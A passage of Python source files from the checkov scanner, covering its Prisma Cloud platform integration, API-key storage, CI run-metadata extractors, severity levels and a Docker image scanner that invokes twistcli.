persist file {full_file_path} into S3 bucket {self.bucket}", exc_info=True) logging.debug(f"file size of {full_file_path} is {os.stat(full_file_path).st_size} bytes") raise except Exception: logging.error(f"failed to persist file {full_file_path} into S3 bucket {self.bucket}", exc_info=True) logging.debug(f"file size of {full_file_path} is {os.stat(full_file_path).st_size} bytes") raise if curr_try == tries: logging.error( f"failed to persist file {full_file_path} into S3 bucket {self.bucket} - gut AccessDenied {tries} times") def get_platform_run_config(self) -> None: if self.skip_download is True: logging.debug("Skipping downloading configs from platform") return if self.is_integration_configured(): self.get_customer_run_config() else: self.get_public_run_config() def _get_run_config_query_params(self) -> str: # ignore mypy warning that this can be null return f'module={"bc" if self.is_bc_token(self.bc_api_key) else "pc"}&enforcementv2=true&repoId={urllib.parse.quote(self.repo_id)}' # type: ignore def get_run_config_url(self) -> str: return f'{self.platform_run_config_url}?{self._get_run_config_query_params()}' def get_customer_run_config(self) -> None: if self.skip_download is True: logging.debug("Skipping customer run config API call") return if not self.bc_api_key or not self.is_integration_configured(): raise Exception( "Tried to get customer run config, but the API key was missing or the integration was not set up") if not self.bc_source: logging.error("Source was not set") return try: token = self.get_auth_token() headers = merge_dicts(get_auth_header(token), get_default_get_headers(self.bc_source, self.bc_source_version), self.custom_auth_headers) self.setup_http_manager() if not self.http: logging.error("HTTP manager was not correctly created") return platform_type = PRISMA_PLATFORM if self.is_prisma_integration() else BRIDGECREW_PLATFORM url = self.get_run_config_url() logging.debug(f'Platform run config URL: {url}') request = self.http.request("GET", url, headers=headers) # type:ignore[no-untyped-call] request_id = request.headers.get("x-amzn-requestid") trace_id = request.headers.get("x-amzn-trace-id") logging.debug(f'Request ID: {request_id}') logging.debug(f'Trace ID: {trace_id}') if request.status == 500: error_message = 'An unexpected backend error occurred getting the run configuration from the platform (status code 500). ' \ 'please contact support and provide debug logs and the values below. You may be able to use the --skip-download option ' \ 'to bypass this error, but this will prevent platform configurations (e.g., custom policies, suppressions) from ' \ f'being used in the scan.\nRequest ID: {request_id}\nTrace ID: {trace_id}' logging.error(error_message) raise Exception(error_message) elif request.status != 200: error_message = get_auth_error_message(request.status, self.is_prisma_integration(), False) logging.error(error_message) raise BridgecrewAuthError(error_message) self.customer_run_config_response = json.loads(request.data.decode("utf8")) logging.debug(f"Got customer run config from {platform_type} platform") except Exception as e: logging.warning(f"An unexpected error occurred getting the run configuration from {self.platform_run_config_url} " "after multiple retries. Please verify your API key and Prisma API URL, and retry. If the " "problem persists, please enable debug logs and contact support. The error is: " f"{e}", exc_info=True) raise def get_reachability_run_config(self) -> Union[Dict[str, Any], None]: if self.skip_download is True: logging.debug("Skipping customer run config API call") return None if not self.bc_api_key or not self.is_integration_configured(): raise Exception( "Tried to get customer run config, but the API key was missing or the integration was not set up") if not self.bc_source: logging.error("Source was not set") return None try: token = self.get_auth_token() headers = merge_dicts(get_auth_header(token), get_default_get_headers(self.bc_source, self.bc_source_version), self.custom_auth_headers) self.setup_http_manager() if not self.http: logging.error("HTTP manager was not correctly created") return None platform_type = PRISMA_PLATFORM if self.is_prisma_integration() else BRIDGECREW_PLATFORM request = self.http.request("GET", self.reachability_run_config_url, headers=headers) # type:ignore[no-untyped-call] if request.status != 200: error_message = get_auth_error_message(request.status, self.is_prisma_integration(), False) logging.error(error_message) raise BridgecrewAuthError(error_message) logging.debug(f"Got reachability run config from {platform_type} platform") res: Dict[str, Any] = json.loads(request.data.decode("utf8")) return res except Exception: logging.warning(f"Failed to get the reachability run config from {self.reachability_run_config_url}", exc_info=True) raise def get_runtime_run_config(self) -> None: try: if self.skip_download is True: logging.debug("Skipping customer run config API call") raise if not self.bc_api_key or not self.is_integration_configured(): raise Exception( "Tried to get customer run config, but the API key was missing or the integration was not set up") if not self.bc_source: logging.error("Source was not set") raise token = self.get_auth_token() headers = merge_dicts(get_auth_header(token), get_default_get_headers(self.bc_source, self.bc_source_version), self.custom_auth_headers) self.setup_http_manager() if not self.http: logging.error("HTTP manager was not correctly created") raise platform_type = PRISMA_PLATFORM if self.is_prisma_integration() else BRIDGECREW_PLATFORM url = f"{self.runtime_run_config_url}?repoId={self.repo_id}" request = self.http.request("GET", url, headers=headers) # type:ignore[no-untyped-call] if request.status != 200: error_message = get_auth_error_message(request.status, self.is_prisma_integration(), False) logging.error(error_message) raise BridgecrewAuthError(error_message) logging.debug(f"Got run config from {platform_type} platform") self.runtime_run_config_response = json.loads(request.data.decode("utf8")) except Exception: logging.debug('could not get runtime info for this repo') def get_prisma_build_policies(self, policy_filter: str, policy_filter_exception: str) -> None: """ Get Prisma policy for enriching runConfig with metadata Filters: https://prisma.pan.dev/api/cloud/cspm/policy#operation/get-policy-filters-and-options :param policy_filter: comma separated filter string. Example, policy.label=A,cloud.type=aws :param policy_filter_exception: comma separated filter string. Example, policy.label=A,cloud.type=aws :return: """ if self.skip_download is True: logging.debug("Skipping prisma policy API call") return if not policy_filter and not policy_filter_exception: return if not self.is_prisma_integration(): return if not self.bc_api_key or not self.is_integration_configured(): raise Exception( "Tried to get prisma build policy metadata, " "but the API key was missing or the integration was not set up") self.prisma_policies_response = self.get_prisma_policies_for_filter(policy_filter) self.prisma_policies_exception_response = self.get_prisma_policies_for_filter(policy_filter_exception) def get_prisma_policies_for_filter(self, policy_filter: str) -> dict[Any, Any] | None: request = None filtered_policies = None try: token = self.get_auth_token() headers = merge_dicts(get_prisma_auth_header(token), get_prisma_get_headers(), self.custom_auth_headers) self.setup_http_manager() if not self.http: logging.error("HTTP manager was not correctly created") return filtered_policies logging.debug(f'Prisma policy URL: {self.prisma_policies_url}') query_params = convert_prisma_policy_filter_to_params(policy_filter) if self.is_valid_policy_filter(query_params, valid_filters=self.get_prisma_policy_filters()): # If enabled and subtype are not explicitly set, use the only acceptable values. self.add_static_policy_filters(query_params) logging.debug(f'Filter query params: {query_params}') request = self.http.request( # type:ignore[no-untyped-call] "GET", self.prisma_policies_url, headers=headers, fields=tuple(query_params), ) logging.debug("Got Prisma build policy metadata") filtered_policies = json.loads(request.data.decode("utf8")) except Exception: response_message = f': {request.status} - {request.reason}' if request else '' logging.warning( f"Failed to get prisma build policy metadata from {self.prisma_policies_url}{response_message}", exc_info=True) return filtered_policies @staticmethod def add_static_policy_filters(query_params: list[tuple[str, str]]) -> list[tuple[str, str]]: """ Adds policy.enabled = true, policy.subtype = build to the query params, if these are not already present. Modifies the list in place and also returns it. """ if not any(p[0] == 'policy.enabled' for p in query_params): query_params.append(('policy.enabled', 'true')) if not any(p[0] == 'policy.subtype' for p in query_params): query_params.append(('policy.subtype', 'build')) return query_params def get_prisma_policy_filters(self) -> Dict[str, Dict[str, Any]]: request = None try: token = self.get_auth_token() headers = merge_dicts(get_prisma_auth_header(token), get_prisma_get_headers(), self.custom_auth_headers) self.setup_http_manager() if not self.http: logging.error("HTTP manager was not correctly created") return {} logging.debug(f'Prisma filter URL: {self.prisma_policy_filters_url}') request = self.http.request( # type:ignore[no-untyped-call] "GET", self.prisma_policy_filters_url, headers=headers, ) policy_filters: dict[str, dict[str, Any]] = json.loads(request.data.decode("utf8")) logging.debug(f'Prisma filter suggestion response: {policy_filters}') return policy_filters except Exception: response_message = f': {request.status} - {request.reason}' if request else '' logging.warning( f"Failed to get prisma build policy metadata from {self.prisma_policy_filters_url}{response_message}", exc_info=True) return {} @staticmethod def is_valid_policy_filter(policy_filter: list[tuple[str, str]], valid_filters: dict[str, dict[str, Any]] | None = None) -> bool: """ Validates only the filter names """ valid_filters = valid_filters or {} if not policy_filter: return False if not valid_filters: return False for filter_name, filter_value in policy_filter: if filter_name not in valid_filters.keys(): logging.warning(f"Invalid filter name: {filter_name}") logging.warning(f"Available filter names: {', '.join(valid_filters.keys())}") return False elif filter_name == 'policy.subtype' and filter_value != 'build': logging.warning(f"Filter value not allowed: {filter_value}") logging.warning("Available options: build") return False elif filter_name == 'policy.enabled' and not convert_str_to_bool(filter_value): logging.warning(f"Filter value not allowed: {filter_value}") logging.warning("Available options: True") return False logging.debug("policy filter is valid") return True def get_public_run_config(self) -> None: if self.skip_download is True: logging.debug("Skipping checkov mapping and guidelines API call") return try: headers: dict[str, Any] = {} self.setup_http_manager() if not self.http: logging.error("HTTP manager was not correctly created") return request = self.http.request("GET", self.guidelines_api_url, headers=headers) # type:ignore[no-untyped-call] if request.status >= 300: request = self.http.request( # type:ignore[no-untyped-call] "GET", self.guidelines_api_url_backoff, headers=headers, ) self.public_metadata_response = json.loads(request.data.decode("utf8")) platform_type = PRISMA_PLATFORM if self.is_prisma_integration() else BRIDGECREW_PLATFORM logging.debug(f"Got checkov mappings and guidelines from {platform_type} platform") except Exception: logging.warning(f"Failed to get the checkov mappings and guidelines from {self.guidelines_api_url}. Skips using BC_* IDs will not work.", exc_info=True) def get_report_to_platform(self, args: argparse.Namespace, scan_reports: list[Report]) -> None: if self.bc_api_key: if args.directory: repo_id = self.get_repository(args) self.setup_bridgecrew_credentials(repo_id=repo_id) if self.is_integration_configured(): self._upload_run(args, scan_reports) # Added this to generate a default repo_id for cli scans for upload to the platform # whilst also persisting a cli repo_id into the object def persist_bc_api_key(self, args: argparse.Namespace) -> str | None: if args.bc_api_key: self.bc_api_key = args.bc_api_key else: # get the key from file self.bc_api_key = read_key() return self.bc_api_key # Added this to generate a default repo_id for cli scans for upload to the platform # whilst also persisting a cli repo_id into the object def persist_repo_id(self, args: argparse.Namespace) -> str: if args.repo_id is None: if CI_METADATA_EXTRACTOR.from_branch: self.repo_id = CI_METADATA_EXTRACTOR.from_branch if args.directory: basename = path.basename(os.path.abspath(args.directory[0])) self.repo_id = f"cli_repo/{basename}" if args.file: # Get the base path of the file based on it's absolute path basename = os.path.basename(os.path.dirname(os.path.abspath(args.file[0]))) self.repo_id = f"cli_repo/{basename}" else: self.repo_id = args.repo_id if not self.repo_id: # this should not happen self.repo_id = "cli_repo/unknown" return self.repo_id def get_repository(self, args: argparse.Namespace) -> str: if CI_METADATA_EXTRACTOR.from_branch: return CI_METADATA_EXTRACTOR.from_branch arg_dir = args.directory[0] arg_dir.rstrip(os.path.sep) # If directory ends with /, remove it. Does not remove any other character!! basename = 'unnamed_repo' if path.basename(arg_dir) == '.' else path.basename(arg_dir) repo_id = f"cli_repo/{basename}" return repo_id def _upload_run(self, args: argparse.Namespace, scan_reports: list[Report]) -> None: print(Style.BRIGHT + colored("Connecting to Prisma Cloud...", 'green', attrs=['bold']) + Style.RESET_ALL) self.persist_repository(args.directory[0]) print(Style.BRIGHT + colored("Metadata upload complete", 'green', attrs=['bold']) + Style.RESET_ALL) self.persist_scan_results(scan_reports) self.persist_sast_scan_results(scan_reports) self.persist_cdk_scan_results(scan_reports) print(Style.BRIGHT + colored("Report upload complete", 'green', attrs=['bold']) + Style.RESET_ALL) self.commit_repository(args.branch) print(Style.BRIGHT + colored( "COMPLETE! \nYour results are in your Prisma Cloud account \n", 'green', attrs=['bold']) + Style.RESET_ALL) def _input_orgname(self) -> str: while True: result = str(input('Organization name: ')).lower().strip() # nosec # remove spaces and special characters result = ''.join(e for e in result if e.isalnum()) if result: break return result def _input_visualize_results(self) -> str: while True: result = str(input('Visualize results? (y/n): ')).lower().strip() # nosec if result[:1] in ["y", "n"]: break return result def _input_levelup_results(self) -> str: while True: result = str(input('Level up? (y/n): ')).lower().strip() # nosec if result[:1] in ["y", "n"]: break return result def _input_email(self) -> str: while True: email = str(input('E-Mail: ')).lower().strip() # nosec if re.search(EMAIL_PATTERN, email): break else: print("email should match the following pattern: {}".format(EMAIL_PATTERN)) return email @staticmethod def loading_output(msg: str) -> None: with trange(ACCOUNT_CREATION_TIME) as t: for _ in t: t.set_description(msg) t.set_postfix(refresh=False) sleep(SLEEP_SECONDS) def repo_matches(self, repo_name: str) -> bool: # matches xyz_org/repo or org/repo (where xyz is the BC org name and the CLI repo prefix from the platform) return re.match(re.compile(f'^(\\w+_)?{self.repo_id}$'), repo_name) is not None def get_default_headers(self, request_type: str) -> dict[str, Any]: if not self.bc_source: logging.warning("Source was not set") return {} if request_type.upper() == "GET": return merge_dicts(get_default_get_headers(self.bc_source, self.bc_source_version), {"Authorization": self.get_auth_token()}, self.custom_auth_headers) elif request_type.upper() == "POST": return merge_dicts(get_default_post_headers(self.bc_source, self.bc_source_version), {"Authorization": self.get_auth_token()}, self.custom_auth_headers) logging.info(f"Unsupported request {request_type}") return {} # Define the function that will get the relay state from the Prisma Cloud Platform. def get_sso_prismacloud_url(self, report_url: str) -> str: if not bc_integration.prisma_api_url or not self.http or not self.bc_source or report_url is None: return report_url or '' url_saml_config = f"{bc_integration.prisma_api_url}/saml/config" token = self.get_auth_token() headers = merge_dicts(get_auth_header(token), get_default_get_headers(self.bc_source, self.bc_source_version), bc_integration.custom_auth_headers) request = self.http.request("GET", url_saml_config, headers=headers, timeout=10) # type:ignore[no-untyped-call] if request.status >= 300: return report_url data = json.loads(request.data.decode("utf8")) relay_state_param_name = data.get("relayStateParamName") access_saml_url = data.get("redLockAccessSamlUrl") if relay_state_param_name and access_saml_url: parsed_url = urlparse(report_url) uri = parsed_url.path # If there are any query parameters, append them to the URI if parsed_url.query: uri = f"{uri}?{parsed_url.query}" # First encoding encoded_uri = urllib.parse.quote(uri) # Second encoding uri = urllib.parse.quote(encoded_uri) # Check if the URL already contains GET parameters. if "?" in access_saml_url: report_url = f"{access_saml_url}&{relay_state_param_name}={uri}" else: report_url = f"{access_saml_url}?{relay_state_param_name}={uri}" return report_url def setup_on_prem(self) -> None: if self.customer_run_config_response: self.on_prem = self.customer_run_config_response.get('tenantConfig', {}).get('preventCodeUploads', False) if self.on_prem: logging.debug('On prem mode is enabled') bc_integration = BcPlatformIntegration() ================================================ FILE: checkov/common/bridgecrew/platform_key.py ================================================ from __future__ import annotations import os from pathlib import Path home = str(Path.home()) bridgecrew_dir = f"{home}/.bridgecrew" bridgecrew_file = f"{bridgecrew_dir}/credentials" def persist_key(key: str) -> None: if not os.path.exists(bridgecrew_dir): os.makedirs(bridgecrew_dir) with open(bridgecrew_file, "w") as f: f.write(key) def read_key() -> str | None: key = None if os.path.exists(bridgecrew_file): with open(bridgecrew_file, "r") as f: key = f.readline() or None # in Mac, if the credentials file is empty, f.readline() == '' and it causes bugs return key ================================================ FILE: checkov/common/bridgecrew/run_metadata/__init__.py ================================================ from checkov.common.bridgecrew.run_metadata.extractors import * # noqa ================================================ FILE: checkov/common/bridgecrew/run_metadata/abstract_run_metadata_extractor.py ================================================ from abc import abstractmethod from checkov.common.bridgecrew.run_metadata.registry import registry from checkov.common.bridgecrew.run_metadata.ci_variables import ( BC_TO_BRANCH, BC_PR_ID, BC_PR_URL, BC_COMMIT_HASH, BC_COMMIT_URL, BC_AUTHOR_NAME, BC_AUTHOR_URL, BC_RUN_ID, BC_RUN_URL, BC_REPOSITORY_URL, BC_FROM_BRANCH, ) class RunMetaDataExtractor: def __init__( self, from_branch: str, to_branch: str, pr_id: str, pr_url: str, commit_hash: str, commit_url: str, author_name: str, author_url: str, run_id: str, run_url: str, repository_url: str, ): self.from_branch = from_branch self.to_branch = to_branch self.pr_id = pr_id self.pr_url = pr_url self.commit_hash = commit_hash self.commit_url = commit_url self.author_name = author_name self.author_url = author_url self.run_id = run_id self.run_url = run_url self.repository_url = repository_url self.override_metadata_from_env_variables() registry.register(extractor=self) def override_metadata_from_env_variables(self) -> None: if BC_FROM_BRANCH: self.from_branch = BC_FROM_BRANCH if BC_TO_BRANCH: self.to_branch = BC_TO_BRANCH if BC_PR_ID: self.pr_id = BC_PR_ID if BC_PR_URL: self.pr_url = BC_PR_URL if BC_COMMIT_HASH: self.commit_hash = BC_COMMIT_HASH if BC_COMMIT_URL: self.commit_url = BC_COMMIT_URL if BC_AUTHOR_NAME: self.author_name = BC_AUTHOR_NAME if BC_AUTHOR_URL: self.author_url = BC_AUTHOR_URL if BC_RUN_ID: self.run_id = BC_RUN_ID if BC_RUN_URL: self.run_url = BC_RUN_URL if BC_REPOSITORY_URL: self.repository_url = BC_REPOSITORY_URL @abstractmethod def is_current_ci(self) -> bool: pass ================================================ FILE: checkov/common/bridgecrew/run_metadata/ci_variables.py ================================================ import os BC_FROM_BRANCH = os.getenv('BC_FROM_BRANCH', "") BC_TO_BRANCH = os.getenv('BC_TO_BRANCH', "") if not BC_TO_BRANCH: # support flow of direct commit from the branch into the same branch BC_TO_BRANCH = BC_FROM_BRANCH BC_PR_ID = os.getenv('BC_PR_ID', "") BC_PR_URL = os.getenv('BC_PR_URL', "") BC_COMMIT_HASH = os.getenv('BC_COMMIT_HASH', "") BC_COMMIT_URL = os.getenv('BC_COMMIT_URL', "") BC_AUTHOR_NAME = os.getenv('BC_AUTHOR_NAME', "") BC_AUTHOR_URL = os.getenv('BC_AUTHOR_URL', "") BC_RUN_ID = os.getenv('BC_RUN_ID', "") BC_RUN_URL = os.getenv('BC_RUN_URL', "") BC_REPOSITORY_URL = os.getenv('BC_REPOSITORY_URL', "") ================================================ FILE: checkov/common/bridgecrew/run_metadata/extractors/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/common/bridgecrew/run_metadata/extractors/bitbucket.py ================================================ import os from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor class BitbucketRunMetadataExtractor(RunMetaDataExtractor): def is_current_ci(self) -> bool: if os.getenv("BITBUCKET_BUILD_NUMBER", "") and os.getenv("CI", ""): return True return False def __init__(self) -> None: from_branch = os.getenv('BITBUCKET_BRANCH', "master") to_branch = os.getenv('BITBUCKET_PR_DESTINATION_BRANCH', "") pr_id = os.getenv("BITBUCKET_PR_ID", "") pr_url = "" commit_hash = os.getenv("BITBUCKET_COMMIT", "") repository_url = os.getenv("BITBUCKET_GIT_HTTP_ORIGIN", "") commit_url = "" author_name = "" author_url = "" run_id = os.getenv("BITBUCKET_BUILD_NUMBER", "") run_url = "" super().__init__(from_branch=from_branch, to_branch=to_branch, pr_id=pr_id, pr_url=pr_url, commit_hash=commit_hash, commit_url=commit_url, author_name=author_name, author_url=author_url, run_id=run_id, run_url=run_url, repository_url=repository_url) extractor = BitbucketRunMetadataExtractor() ================================================ FILE: checkov/common/bridgecrew/run_metadata/extractors/default_extractor.py ================================================ from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor class DefaultRunMetadataExtractor(RunMetaDataExtractor): def is_current_ci(self) -> bool: return False def __init__(self) -> None: from_branch = "" to_branch = "" pr_id = "" pr_url = "" commit_hash = "" repository_url = "" commit_url = "" author_name = "" author_url = "" run_id = "" run_url = "" super().__init__(from_branch=from_branch, to_branch=to_branch, pr_id=pr_id, pr_url=pr_url, commit_hash=commit_hash, commit_url=commit_url, author_name=author_name, author_url=author_url, run_id=run_id, run_url=run_url, repository_url=repository_url) extractor = DefaultRunMetadataExtractor() ================================================ FILE: checkov/common/bridgecrew/run_metadata/extractors/github_actions.py ================================================ import os from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor class GithubActionsRunMetadataExtractor(RunMetaDataExtractor): def is_current_ci(self) -> bool: if os.getenv("GITHUB_ACTIONS", ""): return True return False def __init__(self) -> None: server_url = os.getenv('GITHUB_SERVER_URL', '') from_branch = os.getenv('GIT_BRANCH', "master") to_branch = os.getenv('GITHUB_BASE_REF', "") pr_id = os.getenv("$GITHUB_REF", "//").split("/")[2] repository = os.getenv('GITHUB_REPOSITORY', "") pr_url = f"{server_url}/{repository}/pull/{pr_id}" commit_hash = os.getenv("GITHUB_SHA", "") commit_url = f"{server_url}/{repository}/commit/${commit_hash}" author_name = os.getenv("GITHUB_ACTOR", "") author_url = f"{server_url}/{author_name}" run_id = os.getenv("GITHUB_RUN_NUMBER", "") run_url = f"{server_url}/{repository}/actions/runs/{run_id}" repository_url = f"{server_url}/{repository}" super().__init__(from_branch=from_branch, to_branch=to_branch, pr_id=pr_id, pr_url=pr_url, commit_hash=commit_hash, commit_url=commit_url, author_name=author_name, author_url=author_url, run_id=run_id, run_url=run_url, repository_url=repository_url) extractor = GithubActionsRunMetadataExtractor() ================================================ FILE: checkov/common/bridgecrew/run_metadata/extractors/gitlab_ci.py ================================================ import os from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor class GitLabRunMetadataExtractor(RunMetaDataExtractor): def is_current_ci(self) -> bool: if os.getenv("GITLAB_CI", ""): return True return False def __init__(self) -> None: server_url = os.getenv('CI_SERVER_URL', '') from_branch = os.getenv('GIT_BRANCH', "master") to_branch = os.getenv('CI_MERGE_REQUEST_TARGET_BRANCH_NAME', "") pr_id = os.getenv("CI_MERGE_REQUEST_ID", "") pr_url = os.getenv("CI_MERGE_REQUEST_PROJECT_URL", "") commit_hash = os.getenv("CI_COMMIT_SHORT_SHA", "") repository_url = os.getenv("CI_PROJECT_URL", "") long_commit_hash = os.getenv("CI_COMMIT_SHA", "") commit_url = f"{repository_url}/-/commit/${long_commit_hash}" author_name = os.getenv("CI_COMMIT_AUTHOR", "") author_url = f"{server_url}/{author_name}" run_id = os.getenv("CI_PIPELINE_ID", "") run_url = os.getenv("CI_PIPELINE_URL", "") super().__init__(from_branch=from_branch, to_branch=to_branch, pr_id=pr_id, pr_url=pr_url, commit_hash=commit_hash, commit_url=commit_url, author_name=author_name, author_url=author_url, run_id=run_id, run_url=run_url, repository_url=repository_url) extractor = GitLabRunMetadataExtractor() ================================================ FILE: checkov/common/bridgecrew/run_metadata/extractors/jenkins.py ================================================ import os from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor class JenkinsRunMetadataExtractor(RunMetaDataExtractor): def is_current_ci(self) -> bool: if os.getenv("JENKINS_URL", ""): return True return False def __init__(self) -> None: server_url = os.getenv('JENKINS_URL', '') from_branch = os.getenv('ghprbSourceBranch', "master") to_branch = os.getenv('ghprbTargetBranch', "") pr_id = os.getenv("ghprbPullId", "") pr_url = os.getenv("ghprbPullLink", "") commit_hash = os.getenv("ghprbActualCommit", "") repository_url = server_url commit_url = server_url author_name = os.getenv("ghprbActualCommitAuthor", "") author_url = server_url run_id = os.getenv("BUILD_NUMBER", "") run_url = os.getenv("BUILD_URL", "") super().__init__(from_branch=from_branch, to_branch=to_branch, pr_id=pr_id, pr_url=pr_url, commit_hash=commit_hash, commit_url=commit_url, author_name=author_name, author_url=author_url, run_id=run_id, run_url=run_url, repository_url=repository_url) extractor = JenkinsRunMetadataExtractor() ================================================ FILE: checkov/common/bridgecrew/run_metadata/registry.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING if TYPE_CHECKING: from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor class RunMetadataExtractorsRegistry: def __init__(self) -> None: self.extractors: set[RunMetaDataExtractor] = set() def register(self, extractor: RunMetaDataExtractor) -> None: self.extractors.add(extractor) def get_extractor(self) -> RunMetaDataExtractor: for extractor in self.extractors: if extractor.is_current_ci(): return extractor for extractor in self.extractors: if extractor.__class__.__name__ == "DefaultRunMetadataExtractor": return extractor # should never be reached from checkov.common.bridgecrew.run_metadata.extractors.default_extractor import DefaultRunMetadataExtractor return DefaultRunMetadataExtractor() registry = RunMetadataExtractorsRegistry() ================================================ FILE: checkov/common/bridgecrew/severities.py ================================================ from dataclasses import dataclass from typing import Optional class Severity: __slots__ = ("level", "name") def __init__(self, name: str, level: int) -> None: self.name = name self.level = level def __repr__(self) -> str: return self.name def __str__(self) -> str: return self.name @dataclass class BcSeverities: NONE = 'NONE' INFO = 'INFO' LOW = 'LOW' MEDIUM = 'MEDIUM' HIGH = 'HIGH' CRITICAL = 'CRITICAL' MODERATE = 'MODERATE' IMPORTANT = 'IMPORTANT' OFF = 'OFF' Severities = { BcSeverities.NONE: Severity(BcSeverities.NONE, -999), BcSeverities.INFO: Severity(BcSeverities.INFO, 1), BcSeverities.LOW: Severity(BcSeverities.LOW, 2), BcSeverities.MEDIUM: Severity(BcSeverities.MEDIUM, 3), BcSeverities.MODERATE: Severity(BcSeverities.MEDIUM, 3), BcSeverities.HIGH: Severity(BcSeverities.HIGH, 4), BcSeverities.IMPORTANT: Severity(BcSeverities.HIGH, 4), BcSeverities.CRITICAL: Severity(BcSeverities.CRITICAL, 5), BcSeverities.OFF: Severity(BcSeverities.OFF, 999), } def get_severity(severity: Optional[str]) -> Optional[Severity]: if not severity: return None return Severities.get(severity.upper()) ================================================ FILE: checkov/common/bridgecrew/vulnerability_scanning/__init__.py ================================================ ================================================ FILE: checkov/common/bridgecrew/vulnerability_scanning/image_scanner.py ================================================ from __future__ import annotations import logging import subprocess # nosec from pathlib import Path from typing import Union, Dict, Any import asyncio from urllib.parse import quote_plus import docker import json import os import time from yarl import URL from checkov.common.bridgecrew.vulnerability_scanning.integrations.docker_image_scanning import \ docker_image_scanning_integration from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.util.file_utils import decompress_file_gzip_base64 from checkov.common.util.http_utils import request_wrapper, aiohttp_client_session_wrapper from checkov.common.bridgecrew.platform_key import bridgecrew_dir TWISTCLI_FILE_NAME = 'twistcli' DOCKER_IMAGE_SCAN_RESULT_FILE_NAME = 'docker-image-scan-results.json' CHECKOV_SEC_IN_WEEK = 604800 def generate_image_name() -> str: return f'repository/image{str(time.time() * 1000)}' def _get_docker_image_name(docker_image_id: str) -> str: try: docker_client = docker.from_env() image_name: str = docker_client.images.get(docker_image_id).attrs['RepoDigests'][0].split('@')[0] return image_name except Exception: logging.info("Failed to fetch image name.", exc_info=True) return generate_image_name() def _get_dockerfile_content(dockerfile_path: Union[str, "os.PathLike[str]"]) -> str: try: with open(dockerfile_path) as f: return f.read() except FileNotFoundError: logging.error("Path to Dockerfile is invalid", exc_info=True) raise except Exception: logging.error("Failed to read Dockerfile content", exc_info=True) raise class ImageScanner: def __init__(self) -> None: self.docker_image_name = '' self.dockerfile_content = '' self.twistcli_path = Path(bridgecrew_dir) / TWISTCLI_FILE_NAME def setup_scan( self, docker_image_id: str, dockerfile_path: Union[str, "os.PathLike[str]"], skip_extract_image_name: bool, ) -> bool: if skip_extract_image_name: # Provide a default image name in case the image has not been tagged with a name self.docker_image_name = generate_image_name() else: self.docker_image_name = _get_docker_image_name(docker_image_id) self.dockerfile_content = _get_dockerfile_content(dockerfile_path) status: bool = self.setup_twistcli() return status def cleanup_scan(self) -> None: if self.twistcli_path.exists(): os.remove(self.twistcli_path) logging.info('twistcli file removed') def run_image_scan(self, docker_image_id: str) -> Dict[str, Any]: command = f"./{self.twistcli_path} images scan --address {docker_image_scanning_integration.get_proxy_address()} --token {docker_image_scanning_integration.get_bc_api_key()} --details --output-file \"{DOCKER_IMAGE_SCAN_RESULT_FILE_NAME}\" {docker_image_id}" logging.debug(f"TwistCLI: {command}") command_args = command.split(' ') try: subprocess.run(command_args, check=True, shell=False) # nosec B603 except Exception as exc: logging.error("Failed to scan image", exc_info=True) self.cleanup_scan() raise Exception(f"Failed to scan image {docker_image_id}") from exc self.cleanup_scan() logging.info(f'TwistCLI ran successfully on image {docker_image_id}') with open(DOCKER_IMAGE_SCAN_RESULT_FILE_NAME) as docker_image_scan_result_file: scan_result: dict[str, Any] = json.load(docker_image_scan_result_file) return scan_result def scan(self, docker_image_id: str, dockerfile_path: str, skip_extract_image_name: bool = False) -> int: try: setup_status: bool = self.setup_scan(docker_image_id, dockerfile_path, skip_extract_image_name) if not setup_status: return 2 scan_result = self.run_image_scan(docker_image_id) exit_code = asyncio.run( docker_image_scanning_integration.report_results_async( twistcli_scan_result=scan_result, bc_platform_integration=bc_integration, bc_api_key=docker_image_scanning_integration.get_bc_api_key(), file_path=Path(dockerfile_path), file_content=self.dockerfile_content, docker_image_name=self.docker_image_name, ) ) logging.info('Docker image scanning results reported to the platform') return exit_code except Exception: logging.error("Failed to scan docker image", exc_info=True) return 1 @staticmethod def get_scan_results_from_cache(image_id: str) -> Dict[str, Any] | None: try: image_id_encode = quote_plus(image_id) response = request_wrapper( "GET", f"{bc_integration.api_url}/api/v1/vulnerabilities/scan-results/{image_id_encode}", headers=bc_integration.get_default_headers("GET"), should_call_raise_for_status=True ) response_json = response.json() return ImageScanner._extract_cache_results_for_image(image_id, response_json) except Exception: logging.debug( "Unexpected failure happened during retrieving image scanning result from cache. details are below.\n" "Note that the scan is still running. if it is repeated, please report.", exc_info=True) return None @staticmethod async def get_scan_results_from_cache_async(image_id: str) -> Dict[str, Any]: """ This is an async implementation of `get_scan_results_from_cache`. The only change is we're getting a session as an input, and the asyncio behavior is managed in the calling method. """ try: image_id_encode = quote_plus(image_id) url = f"{bc_integration.api_url}/api/v1/vulnerabilities/scan-results/{image_id_encode}" headers = bc_integration.get_default_headers("GET") logging.debug(f"Invoking API {url}") response = await aiohttp_client_session_wrapper("GET", URL(url, encoded=True), headers=headers) response_json = await response.json() logging.debug(response_json) return ImageScanner._extract_cache_results_for_image(image_id, response_json) except Exception as e: logging.info(f"(IR debug) an Error is raised in (get_scan_results_from_cache_async) for {image_id}.") logging.info( "Unexpected failure happened during retrieving image scanning result from cache. details are below.\n" "Note that the scan is still running. if it is repeated, please report.") logging.info(str(e)) return {} @staticmethod def _extract_cache_results_for_image(image_id: str, response_json: dict[str, str]) -> dict[str, Any]: output_type = response_json.get("outputType") logging.info(f"output_type={output_type} returned from cache for image_id={image_id}") if output_type == "Result": result: dict[str, Any] = json.loads( decompress_file_gzip_base64( response_json["outputData"] ) ) return result if output_type is None or output_type == "Error": logging.error(response_json.get("outputData")) return {} logging.info(f"Got an empty result for image={image_id}") return {} def should_download(self) -> bool: if not self.twistcli_path.exists(): return True last_modification = os.stat(self.twistcli_path) file_age = (time.time() - 